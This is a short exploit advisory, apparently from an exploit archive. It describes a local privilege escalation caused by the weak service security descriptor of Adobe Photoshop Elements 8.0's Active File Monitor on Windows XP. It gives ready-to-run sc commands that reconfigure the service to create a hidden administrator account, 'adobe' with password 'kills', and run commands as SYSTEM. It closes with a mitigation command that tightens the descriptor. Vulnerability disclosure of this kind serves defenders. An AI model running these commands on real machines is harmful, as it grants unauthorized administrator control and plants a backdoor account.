Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation

                                                Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/

Tested on Microsoft Windows XP SP3

The "Adobe Active File Monitor V8" service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a "limited account") can stop the service,
then invoke the "sc config" command to replace the binary path with a value of choice, then restart
the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow "AdobeActiveFileMonitor8.0"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

note the WO and WD permission for Everyone (!!!!!)

change the security descriptor like the following:

c:\sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS

readings, interesting article:
http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx